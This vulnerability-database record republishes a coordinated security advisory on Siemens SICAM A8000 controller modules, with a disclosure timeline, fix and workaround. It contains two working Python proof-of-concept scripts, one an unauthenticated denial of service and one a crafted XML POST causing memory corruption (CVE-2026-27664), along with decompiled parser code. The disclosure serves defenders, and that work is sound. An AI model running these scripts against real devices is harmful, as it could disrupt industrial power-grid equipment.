GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GCVE-1988-2026-0256

Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
Title
CyberDanube Security Research 20260408-1 | Multiple Vulnerabilities in Siemens SICAM A8000
Summary
CyberDanube Security Research 20260408-1 ------------------------------------------------------------------------------- title| Multiple Vulnerabilities product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012 vulnerable version| <=V25.30 fixed version| V26.10 CVE number| CVE-2026-27664 impact| High homepage| https://siemens.com/ found| 18.12.2025 by| S. Dietz | (Office Vienna) | CyberDanube Security Research | Vienna | | This research was conducted in cooperation with | VERBUND Digital Power during a penetration test. | | https://www.cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "Our purpose: We create technology to transform the everyday, for everyone. By combining the real and the digital worlds, we can help accelerate both digitalization and sustainability - so our customers around the world can become more competitive, resilient and sustainable." Source: https://www.siemens.com/global/en/company/about.html Vulnerable versions ------------------------------------------------------------------------------- Siemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / <=V25.30 Siemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / <=V25.30 Siemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / <=V25.31 Siemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / <=V25.31 See also the vendor advisory: https://cert-portal.siemens.com/productcert/html/ssa-246443.html Vulnerability overview ------------------------------------------------------------------------------- 1) Unauthenticated Denial of Service A crafted POST request with a large Content-Length and multipart boundary without matching body seems to make the parser wait for more data. As long as the connection is open, no other user can interact with the service. IHI00.elf and RTUM85.elf are impacted by this. 2) Unauthenticated Memory Corruption (CVE-2026-27664) A crafted POST request with a malicious XML body can be send to write null bytes to an arbitrary memory address after the buffers location. This may lead to a denial of service or remote code execution. This impacts the IHI00.elf as well as the RTUM85.elf binary. Proof of Concept ------------------------------------------------------------------------------- 1) Unauthenticated Denial of Service The following python script can be used to temporarily impact the availability of the device. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/bin/env python3 # S. Dietz <fitfrost4> from pwn import * IP = "localhost" PORT = 8080 COMP = "ihi" path = b"" if args.IP: IP = args.IP if args.PORT: PORT = int(args.PORT) if args.COMP: COMP = args.COMP if COMP == "rtum85": path = b"/sicweb-ajax/rtum85/pwned" elif COMP == "ihi": path = b"/sicweb-ajax/auth" req = b"" req += b"POST " + path + b" HTTP/1.1\r\n" req += b"Content-Length: " + str(13371337).encode() + b"\r\n" req += b"Content-Type: multipart/form-data; boundary=--pwned\r\n" req += b"User-Agent: Mozilla/5.0\r\n" req += b"Accept: */*\r\n" req += b"Accept-Encoding: gzip, deflate, br\r\n" req += b"Connection: keep-alive\r\n" req += b"\r\n" log.info(req) with remote(IP, PORT) as io: io.send(req) io.recv(1337) ------------------------------------------------------------------------------- 2) Unauthenticated Memory Corruption (CVE-2026-27664) The following python script can be used to crash the IHI00.elf application on the device. As a watchdog (ISV00.elf) is active, the device reboots. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/bin/env python3 # S. Dietz <fitfrost4> from pwn import * IP = "localhost" PORT = 8080 if args.IP: IP = args.IP if args.PORT: PORT = int(args.PORT) buf = b'<?xml version="1.0" encoding="UTF-8"?>\n' buf += b"<x>" * 0xa0000 buf += b"</x>" buf += b"\r\n" body = buf req = b"" req += b"POST /sicweb-ajax/auth HTTP/1.1\r\n" req += b"Content-Length: " + str(len(body)).encode() + b"\r\n" req += b"sec-ch-ua: \"Chromium\";v=\"133\", \"Not(A:Brand\";v=\"99\"\r\n" req += b"Content-Type: application/xml\r\n" req += b"User-Agent: Mozilla/5.0\r\n" req += b"Accept: */*\r\n" req += b"Accept-Encoding: gzip, deflate, br\r\n" req += b"Connection: keep-alive\r\n" req += b"\r\n" req += body with remote(IP, PORT) as io: io.send(req) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The issue arises due to a logic error in the XML parsing. Both binaries use libexpat which export the function XML_SetElementHandler() which takes a user-defined structure as well as two function pointer which are executed when an opening or closing tag occurs. When looking at start() it can be observed that the tag_depth is tracked. If the depth is greater than 15, the return value gets set to -2 and the tag_depth gets incremented. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 0052b0d4 void start(struct userdata* userData, char const* xmlchar) 0052b0da int32_t tag_depth = userData->tag_depth 0052b0e2 int32_t* entry_r2 0052b0e2 0052b0e2 if (tag_depth != 0) 0052b0e6 if (tag_depth != 1) 0052b0fa if (tag_depth u> 0xf) 0052b0fa goto too_big [...] 0052b152 too_big: 0052b152 userData->retval = -2 0052b154 userData->tag_depth = tag_depth + 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ When a matching closing tag occurs, end() is executed. Due to a missing retval check, the userData access happens out-of-bounds resulting in an arbitrary null-byte overflow ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 0052a570 void end(struct userdata* userData, char const* xmlchar) [...] 0052a584 0052a588 int32_t tag_depth = userData->tag_depth 0052a58c userData->tag_depth = tag_depth - 1 0052a58c 0052a58e if (tag_depth != 1) 0052a598 *(userData + ((tag_depth - 2) << 2) + 4) = 0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Further investigations showed that the bug allows an attacker to write a word of null-bytes to arbitrary memory after the buffers location, including the stack. Due to the extensive usage of shared libraries, this results in a large attack surface. ------------------------------------------------------------------------------- Solution ------------------------------------------------------------------------------- Install the latest version available. Workaround ------------------------------------------------------------------------------- Restrict network access to the device in the infrastructure. Recommendation ------------------------------------------------------------------------------- CyberDanube recommends to perform a white-box security assessment of the SICAM A8000 master module devices. Contact Timeline ------------------------------------------------------------------------------- 2026-02-24: Contacting Siemens ProductCERT 2026-03-04: Siemens ProductCERT confirmed the issue but said the the DoS is a valid behavior for resource conservation. 2026-03-09: Asking for name and organization for acknowledgement. In addition, gave an estimation regarding the update timeline. 2026-03-26: Siemens ProductCERT publishes the advisory SSA-246443. 2026-04-08: Coordinated release of security advisory. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF S. Dietz / @2025 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version CPE status
unknown CyberDanube Security Research Affected: unknown
guessed Create a notification for this product.
Relationships
reference GCVE-1988-2026-0256 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260408-1\n-------------------------------------------------------------------------------\n                title| Multiple Vulnerabilities\n              product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012\n   vulnerable version| \u003c=V25.30\n        fixed version| V26.10\n           CVE number| CVE-2026-27664\n               impact| High\n             homepage| https://siemens.com/\n                found| 18.12.2025\n                   by| S. Dietz\n                     | (Office Vienna)\n                     | CyberDanube Security Research\n                     | Vienna\n                     |\n                     | This research was conducted in cooperation with\n                     | VERBUND Digital Power during a penetration test.\n                     |\n                     | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"Our purpose: We create technology to transform the everyday, for everyone.\nBy combining the real and the digital worlds, we can help accelerate both\ndigitalization and sustainability - so our customers around the world can\nbecome more competitive, resilient and sustainable.\"\n\nSource: https://www.siemens.com/global/en/company/about.html\n\nVulnerable versions\n-------------------------------------------------------------------------------\nSiemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / \u003c=V25.31\nSiemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / \u003c=V25.31\n\nSee also the vendor advisory:\nhttps://cert-portal.siemens.com/productcert/html/ssa-246443.html\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Unauthenticated Denial of Service\nA crafted POST request with a large Content-Length and multipart boundary\nwithout matching body seems to make the parser wait for more data. As long as\nthe connection is open, no other user can interact with the service. IHI00.elf\nand RTUM85.elf are impacted by this.\n\n2) Unauthenticated Memory Corruption (CVE-2026-27664)\nA crafted POST request with a malicious XML body can be send to write null\nbytes to an arbitrary memory address after the buffers location. This may lead\nto a denial of service or remote code execution. This impacts the IHI00.elf as\nwell as the RTUM85.elf binary.\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Unauthenticated Denial of Service\nThe following python script can be used to temporarily impact the availability\nof the device.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#!/bin/env python3\n# S. Dietz \u003cfitfrost4\u003e\nfrom pwn import *\n\nIP = \"localhost\"\nPORT = 8080\nCOMP = \"ihi\"\npath = b\"\"\n\nif args.IP:\n    IP = args.IP\nif args.PORT:\n    PORT = int(args.PORT)\nif args.COMP:\n    COMP = args.COMP\nif COMP == \"rtum85\":\n    path = b\"/sicweb-ajax/rtum85/pwned\"\nelif COMP == \"ihi\":\n    path = b\"/sicweb-ajax/auth\"\n\nreq = b\"\"\nreq += b\"POST \" + path + b\" HTTP/1.1\\r\\n\"\nreq += b\"Content-Length: \" + str(13371337).encode() + b\"\\r\\n\"\nreq += b\"Content-Type: multipart/form-data; boundary=--pwned\\r\\n\"\nreq += b\"User-Agent: Mozilla/5.0\\r\\n\"\nreq += b\"Accept: */*\\r\\n\"\nreq += b\"Accept-Encoding: gzip, deflate, br\\r\\n\"\nreq += b\"Connection: keep-alive\\r\\n\"\nreq += b\"\\r\\n\"\n\nlog.info(req)\n\nwith remote(IP, PORT) as io:\n    io.send(req)\n    io.recv(1337)\n\n-------------------------------------------------------------------------------\n2) Unauthenticated Memory Corruption (CVE-2026-27664)\nThe following python script can be used to crash the IHI00.elf application on\nthe device. As a watchdog (ISV00.elf) is active, the device reboots.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#!/bin/env python3\n# S. Dietz \u003cfitfrost4\u003e\nfrom pwn import *\n\nIP = \"localhost\"\nPORT = 8080\n\nif args.IP:\n    IP = args.IP\n\nif args.PORT:\n    PORT = int(args.PORT)\n\nbuf = b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\nbuf += b\"\u003cx\u003e\" * 0xa0000\nbuf += b\"\u003c/x\u003e\"\nbuf += b\"\\r\\n\"\n\nbody = buf\nreq = b\"\"\nreq += b\"POST /sicweb-ajax/auth HTTP/1.1\\r\\n\"\nreq += b\"Content-Length: \" + str(len(body)).encode() + b\"\\r\\n\"\nreq += b\"sec-ch-ua: \\\"Chromium\\\";v=\\\"133\\\", \\\"Not(A:Brand\\\";v=\\\"99\\\"\\r\\n\"\nreq += b\"Content-Type: application/xml\\r\\n\"\nreq += b\"User-Agent: Mozilla/5.0\\r\\n\"\nreq += b\"Accept: */*\\r\\n\"\nreq += b\"Accept-Encoding: gzip, deflate, br\\r\\n\"\nreq += b\"Connection: keep-alive\\r\\n\"\nreq += b\"\\r\\n\"\nreq += body\n\nwith remote(IP, PORT) as io:\n    io.send(req)\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe issue arises due to a logic error in the XML parsing. Both binaries use\nlibexpat which export the function XML_SetElementHandler() which takes a\nuser-defined structure as well as two function pointer which are executed when\nan opening or closing tag occurs.  When looking at start() it can be observed\nthat the tag_depth is tracked. If the depth is greater than 15, the return\nvalue gets set to -2 and the tag_depth gets incremented.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n0052b0d4    void start(struct userdata* userData, char const* xmlchar)\n0052b0da        int32_t tag_depth = userData-\u003etag_depth\n0052b0e2        int32_t* entry_r2\n0052b0e2\n0052b0e2        if (tag_depth != 0)\n0052b0e6            if (tag_depth != 1)\n0052b0fa                if (tag_depth u\u003e 0xf)\n0052b0fa                    goto too_big\n[...]\n0052b152    too_big:\n0052b152        userData-\u003eretval = -2\n0052b154        userData-\u003etag_depth = tag_depth + 1\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nWhen a matching closing tag occurs, end() is executed. Due to a missing retval\ncheck, the userData access happens out-of-bounds resulting in an arbitrary\nnull-byte overflow\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n0052a570    void end(struct userdata* userData, char const* xmlchar)\n[...]\n0052a584\n0052a588        int32_t tag_depth = userData-\u003etag_depth\n0052a58c        userData-\u003etag_depth = tag_depth - 1\n0052a58c\n0052a58e        if (tag_depth != 1)\n0052a598            *(userData + ((tag_depth - 2) \u003c\u003c 2) + 4) = 0\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nFurther investigations showed that the bug allows an attacker to write a word\nof null-bytes to arbitrary memory after the buffers location, including the\nstack. Due to the extensive usage of shared libraries, this results in a large\nattack surface.\n-------------------------------------------------------------------------------\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest version available.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the SICAM\nA8000 master module devices.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2026-02-24: Contacting Siemens ProductCERT\n2026-03-04: Siemens ProductCERT confirmed the issue but said the the DoS is a\n            valid behavior for resource conservation.\n2026-03-09: Asking for name and organization for acknowledgement. In addition,\n            gave an estimation regarding the update timeline.\n2026-03-26: Siemens ProductCERT publishes the advisory SSA-246443.\n2026-04-08: Coordinated release of security advisory.\n\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF S. Dietz / @2025\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/7"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/7"
        },
        {
          "url": "https://cert-portal.siemens.com/productcert/html/ssa-246443.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://siemens.com/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.siemens.com/global/en/company/about.html"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/7"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260408-1 | Multiple Vulnerabilities in Siemens SICAM A8000",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-27664",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0256",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/7",
            "automated": true,
            "contentSha256": "76b381a915589c3d3f3552184c204e5c93ccf859a0c160e0d2585c2fc74456e3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/7",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-14T10:45:01Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0256"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0256"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…